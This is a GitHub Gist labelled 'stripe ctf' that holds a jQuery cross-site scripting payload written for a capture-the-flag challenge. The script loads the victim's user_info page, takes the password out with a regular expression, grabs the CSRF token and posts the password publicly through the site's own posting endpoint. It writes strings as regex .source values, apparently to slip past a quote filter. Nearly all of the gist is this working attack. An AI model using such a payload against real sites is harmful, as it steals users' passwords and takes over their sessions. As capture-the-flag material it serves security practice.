Created
August 23, 2012 17:35
-
-
Save davethegr8/3439164 to your computer and use it in GitHub Desktop.
stripe ctf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$(function(){ | |
var passUrl = location.href+/user_info/.source; | |
var postUrl = location.href+/ajax\posts/.source; | |
var csrf = $(/input/.source).first().val(); | |
$.ajax({ | |
url: passUrl, | |
success: function(data){ | |
var pass = escape(/Password:<\/th>\s+<td>(.+)<\/td>/.exec(data)[1]); | |
$.ajax({ | |
type: /POST/.source, | |
url: postUrl, | |
data: { | |
title: pass, | |
body: pass, | |
_csrf: csrf | |
}, | |
success: function(data) { | |
alert(/done/.source); | |
} | |
}); | |
} | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment